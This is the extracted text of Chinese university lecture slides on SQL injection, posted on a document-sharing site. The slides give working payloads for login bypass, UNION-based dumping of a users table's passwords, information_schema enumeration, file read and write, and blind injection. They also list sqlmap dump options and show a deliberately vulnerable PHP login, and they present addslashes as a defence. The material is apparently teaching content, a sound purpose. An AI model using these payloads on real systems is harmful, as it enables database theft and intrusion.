版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
Web應用安全第八章Web服務器端安全--8.1SQL注入漏洞原理與防御2本節(jié)要求1掌握SQL注入的基本原理2理解SQL注入的一般利用方式3理解SQL注入漏洞探測的一般方法4理解SQL注入漏洞防護方法3SQL注入基本原理一個SQL注入例子輸入正常賬號信息:201909001/zs123456特殊ID:1or1;--(空格)/任意字符串
輸入特殊字符后,居然能夠任意用戶登錄系統?原因:系統存在SQL注入漏洞觀察現象萬能密碼:任意數字/a'or'a'='a特殊ID:201909002;--(空格)/任意字符串
4一個例子代碼分析SQL注入基本原理$id=$_POST['id'];//獲取用戶輸入的ID號$pass=$_POST['pass'];//獲取用戶輸入的密碼//構造SQL語句$query="select*fromstudentswhereid={$id}andpassword='{$pass}'";$result=mysqli_query($db,$query);......正常賬號信息:
201909001/zs123456select*fromstudentswhereid=201909001andpassword='zs123456'
異常賬號:
1or1--(空格)/aselect*fromstudentswhereid=1or1;--andpassword='a'教材:P171-172頁5SQL注入基本原理SQL注入漏洞發(fā)現歷程第一篇SQL注入的文章1998年NTWebTechnologyVulnerabilities,Phrackmagazine,Volume8,Issue54DecRainForestPuppy—雨林小子?雨林小狗?雨林青年?第一篇SQL注入的實戰(zhàn)文章2001年HowIhackedPacketStorm–AlookathackingwwwthreadsviaSQLRainForestPuppy第一次提出盲注入2002年ChrisAnley、Ofer
Maor
andAmichai
Shulman寬字節(jié)注入、二階SQL注入、自動化利用工具、......JeffForristal6SQL注入定義CWE-89:ThesoftwareconstructsallorpartofanSQLcommandusingexternally-influencedinputfromanupstreamcomponent,butitdoesnotneutralizeorincorrectlyneutralizesspecialelementsthatcouldmodifytheintendedSQLcommandwhenitissenttoadownstreamcomponent.通俗定義:用戶輸入變成SQL語句或改變原來SQL語句的語義了,就造成了SQL注入漏洞。示例:select*fromstudentswhereid=$idandpass=‘$pass’SQL語句拼接時,使用了用戶輸入的數據SQL注入關鍵因素SQL注入基本原理7UNION語句提取數據UNION前后SELECT語句的列數必須相等。[SELECT語句1]UNION[SELECT語句2]SQL注入利用方式繞過系統身份認證—登錄演示系統結果核心思想:執(zhí)行攻擊者構造的SQL語句攻擊者數據可變成可執(zhí)行代碼8UNION語句提取數據SQL注入利用方式orderby確定表列數201909001orderby1;--確定列數為3列select*fromstudentswhereid=201909001orderby1;--andpassword='a';9UNION語句提取數據SQL注入利用方式確定輸出數據-1unionselect1,2,3;--select*fromstudentswhereid=-1
unionselect1,2,3;--2號位為數據輸出位置10UNION語句提取數據SQL注入利用方式確定當前用戶和數據庫-1unionselect1,user(),3;--select*fromstudentswhereid=-1unionselect1,user(),3;---1unionselect1,database(),3;--select*fromstudentswhereid=-1unionselect1,database(),3;--11UNION語句提取數據SQL注入利用方式輸出數據庫中表的內容-1unionselect1,id,3fromebank2022.users;---1unionselect1,pass,3fromebank2022.users;--如何提取一條完整記錄?12UNION語句提取數據SQL注入利用方式輸出數據庫中表的內容—完整記錄使用concat函數—將字符串連接起來—0x20表示空格selectconcat(id,0x20,name,0x20,pass,0x20,number)fromebank2022.users;-1unionselect1,concat(id,0x20,name,0x20,pass,0x20,number),3fromebank2022.users;--13UNION語句提取數據SQL注入利用方式輸出數據庫中表的內容—任意記錄-1unionselect1,id,3fromebank2022.userslimit1,1;---1unionselect1,pass,3fromebank2022.userslimit1,1;--獲取完整記錄信息?-1unionselect1,concat(id,0x20,name,0x20,pass,0x20,number),3fromebank2022.userslimit1,1;--第二條記錄信息14UNION語句提取數據SQL注入利用方式輸出數據庫中表的內容—所有記錄使用group_concat函數—將多列數據轉換為連接起來的字符串,多條記錄之間自動使用逗號隔開—0x20表示空格selectgroup_concat(id,0x20,name,0x20,pass,0x20,number)fromebank2022.users;-1unionselect1,group_concat(id,0x20,name,0x20,pass,0x20,number),3fromebank2022.users;--15UNION語句提取數據SQL注入利用方式輸出數據庫中表的內容—幾個關鍵問題問題1:攻擊者如何知道數據庫名?如ebank2022,數據庫系統中還有沒有其他的數據庫?問題2:攻擊者如何知道具體數據庫中的表名?如ebank2022.users,數據庫還有沒有其他的數據表?問題3:攻擊者如何知道具體數據庫中的表名中的字段名?如ebank2022.users表中id,name字段名等?解決問題的基本方法:(1)依靠數據庫系統表(不同數據庫不一樣):(2)暴力猜測(自學內容)16UNION語句提取數據SQL注入利用方式MySQL數據庫系統數據庫-
information_schema所有數據庫名:schemata表中的schema_name字段selectschema_namefrominformation_schema.schemata;小皮系統MySQL數據庫配置文件my.inicollation-server=utf8_unicode_ci調整為collation-server=utf8_general_ci然后重新導入grade.sql文件否則SQL注入時會報錯:Illegalmixofcollationsforoperation'UNION'17UNION語句提取數據SQL注入利用方式MySQL數據庫系統數據庫-information_schema獲取所有數據庫名-schemata表中的schema_name字段-1unionselect1,group_concat(schema_name),3frominformation_schema.schemata;--18UNION語句提取數據SQL注入利用方式MySQL數據庫系統數據庫-information_schema所有數據表名selecttable_namefrominformation_schema.tableswheretable_schema='ebank2022';information_schema.tables—table_name表示表名table_schema--表對應的數據庫名19UNION語句提取數據SQL注入利用方式MySQL數據庫系統數據庫-information_schema所有數據表名-1unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema='ebank2022';--20UNION語句提取數據SQL注入利用方式MySQL數據庫系統數據庫-information_schema所有字段名selectcolumn_namefrominformation_schema.columnswheretable_schema='ebank2022'andtable_name='users';information_schema.columns—所有字段名表table_schema—字段對應的數據庫名table_name—字段對應的表名21UNION語句提取數據SQL注入利用方式MySQL數據庫系統數據庫-information_schema所有字段名-1unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_schema='ebank2022'andtable_name='users';--22SQL注入利用方式UNION語句讀/寫文件提醒:配置my.ini配置文件中的secure_file_priv配置項讀取文件內容—load_file函數selectload_file('c:/tmp/a1.txt');友情提醒:文件路徑中的使用斜杠,而不是反斜杠23SQL注入利用方式UNION語句讀/寫文件讀取文件內容—load_file函數-1unionselect1,load_file('c:/tmp/a1.txt'),3;--(空格)24SQL注入利用方式UNION語句讀/寫文件寫入文件內容—intooutfile命令select'abc',123,'ok'intooutfile'c:/tmp/test.txt';25SQL注入利用方式UNION語句讀/寫文件寫入文件內容—intooutfile命令-1unionselect'Astring','Bstring','Cstring'intooutfile'c:/tmp/b.txt';--26SQL注入利用方式其他利用方式?堆疊查詢?--一次可以執(zhí)行多條SQL語句,PHP語言的multi_query函數;PostgreSQL數據庫堆疊查詢執(zhí)行操作系統命令?--SQLServerxp_cmdshell存儲過程中執(zhí)行操作系統命令;MySQL數據庫UDF機制執(zhí)行操作系統命令?INSERT\UPDATE\DELETE語句等SQL注入利用?......27SQL注入漏洞分類*示例:select*fromuserswhereid=$idandpass=‘$pass’SQL語句拼接時,使用了用戶輸入的數據SQL注入關鍵因素SQL注入分類數字型SQL注入:拼接的字段為數值,如$id字符型SQL注入:拼接的字段為字符串,如$pass歡迎登錄演示程序中的密碼字段,同樣存在SQL注入漏洞,如何利用?--自行探索分析—需要注意引號閉合的問題輸入ID:123密碼:a’or‘a’=‘a萬能密碼?28SQL注入漏洞分類SQL注入分類基于錯誤信息SQL注入SQL盲注入任意輸入的輸出信息都是一樣或變化不大的如果在響應信息中不能夠直接體現SQL注入攻擊效果,則需要采取一種間接方法來檢驗攻擊效果,稱為SQL盲注入29if((!empty($_POST['id']))&&(!empty($_POST['pass']))){try{$id=$_POST['id'];//獲取用戶輸入的ID號
$pass=$_POST['pass'];//獲取用戶輸入的密碼
$db=mysqli_connect("","root","123456","grade");if(!$db)exit("連接數據庫錯誤!<br>");//構造SQL語句
$query="select*fromstudentswhereid={$id}andpassword='{$pass}'";$result=mysqli_query($db,$query);$data=mysqli_fetch_assoc($result);if(!$data){thrownewException("數據異常",111);}$getid=$data['id'];$getpass=$data['password'];if(($getid!=$id)||($getpass!=$pass)){thrownewException("數據異常",111);}elseprint("歡迎{$data['name']}成功登錄系統!");}catch(Exception$e){print("登錄失敗!");}}SQL注入漏洞分類SQL注入分類SQL盲注入教材:P179-18030SQL注入漏洞分類SQL注入分類SQL盲注入布爾型盲注入201909001or1=1;--201909002or1=2;--參數拆分和平衡201909001=201909000+1abc=concat('a','bc')時間型盲注—sleep、benchmark函數等10orsleep(5);--10orbenchmark(10000000,sha1('aaaaa'));--31SQL注入漏洞探測一般過程識別數據輸入點顯性數據輸入點隱性數據輸入點HTTP頭信息如Cookie、HOST、Referer、User-Agent等隱藏字段信息FORM表單GET數據POST數據如隱藏的折扣信息等32尋找SQL注入點通過操縱數據輸入,并通過反饋判斷是否存在SQL注入點GET參數直接修改POST參數、HTTP頭、隱藏參數等通過瀏覽器擴展或代理服務器修改http:///sqli/t1-1.php?id=201909001&pass=123456修改的基本方法數字型:使用“+”號(對應URL編碼%2b)字符型:使用“’”號http:///sqli/t1.php?id=201909000%2b1&pass=123456http:///sqli/t1.php?id=201909001&pass=123456'SQL注入漏洞探測一般過程33終止式輸入測試輸入值:注釋符號,如--%20、#(URL編碼%23)1001;--(最后有一個空格)a‘or’a‘=’a‘;#(最后有一個空格)SQL注入漏洞探測一般過程34SQL注入漏洞探測自動化工具SQLMAP工具Python語言環(huán)境35SQLMAP工具主要參數的含義-uURL,--url=URLTargeturl--method=METHODForceusageofgivenHTTPmethod(e.g.PUT)--data=DATADatastringtobesentthroughPOST--cookie=COOKIEHTTPCookieheadervalue--user-agent=AGENTHTTPUser-Agentheadervalue--host=HOSTHTTPHostheadervalue--proxy=PROXYUseaproxytoconnecttothetargetURL--dbms=DBMSForceback-endDBMStothisvalue--level=LEVELLevelofteststoperform(1-5,default1)--risk=RISKRiskofteststoperform(1-3,default1)--current-userRetrieveDBMScurrentuser--current-dbRetrieveDBMScurrentdatabase--dbsEnumerateDBMSdatabases--tablesEnumerateDBMSdatabasetables--columnsEnumerateDBMSdatabasetablecolumns--schemaEnumerateDBMSschema--countRetrievenumberofentriesfortable(s)--dumpDumpDBMSdatabasetableentries--dump-allDumpallDBMSdatabasestablesentries--batchNeveraskforuserinput,usethedefaultbehaviourSQL注入漏洞探測自動化工具36SQL注入漏洞探測自動化工具SQLMAP工具探測SQL注入漏洞37查看所有數據庫名--dbsSQL注入漏洞探測自動化工具SQLMAP工具38查看特定數據庫中的所有表名—D\tablesSQL注入漏洞探測自動化工具SQLMAP工具39獲取特定數據庫中特定表中的字段信息—columns\D\TSQL注入漏洞探測自動化工具SQLMAP工具40獲取特定數據庫中特定表中的所有記錄信息--dumpSQL注入漏洞探測自動化工具SQLMAP工具41SQL注入漏洞防護轉義操作基本思想:有一些特殊的輸入字符(如單引號等)影響了SQL語句的語義,通過對這些字符進行轉義,就可以消除這些影響。$id=addslashes($id);$pass=addslashes($pass);42SQL注入漏洞防護數據驗證—正則表達式匹配基本思想:建
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025-2030全球七葉神安片行業(yè)調研及趨勢分析報告
- 2025-2030全球醫(yī)療器械消毒產品行業(yè)調研及趨勢分析報告
- 2025年全球及中國缺氧帳篷行業(yè)頭部企業(yè)市場占有率及排名調研報告
- 2025年全球及中國有機空穴傳輸材料行業(yè)頭部企業(yè)市場占有率及排名調研報告
- 2025-2030全球連續(xù)式鋰電池熱解爐行業(yè)調研及趨勢分析報告
- 競業(yè)限制合同協議書
- 家具房屋租賃合同書
- 2025危險廢物委托處置合同
- 房地產借款合同
- 提高談判技巧的訓練課程
- 未婚生子的分手協議書
- 變更監(jiān)事章程修正案范例
- 北京小客車指標租賃協議五篇
- 輸液室運用PDCA降低靜脈輸液患者外滲的發(fā)生率品管圈(QCC)活動成果
- 北師大版小學六年級下冊數學全冊教學設計
- YY/T 0681.2-2010無菌醫(yī)療器械包裝試驗方法第2部分:軟性屏障材料的密封強度
- GB/T 20472-2006硫鋁酸鹽水泥
- 煙氣管道阻力計算
- 城鄉(xiāng)環(huán)衛(wèi)一體化保潔服務迎接重大節(jié)日、活動的保障措施
- 醫(yī)院-9S管理共88張課件
- 高考作文復習:議論文論證方法課件15張
評論
0/150
提交評論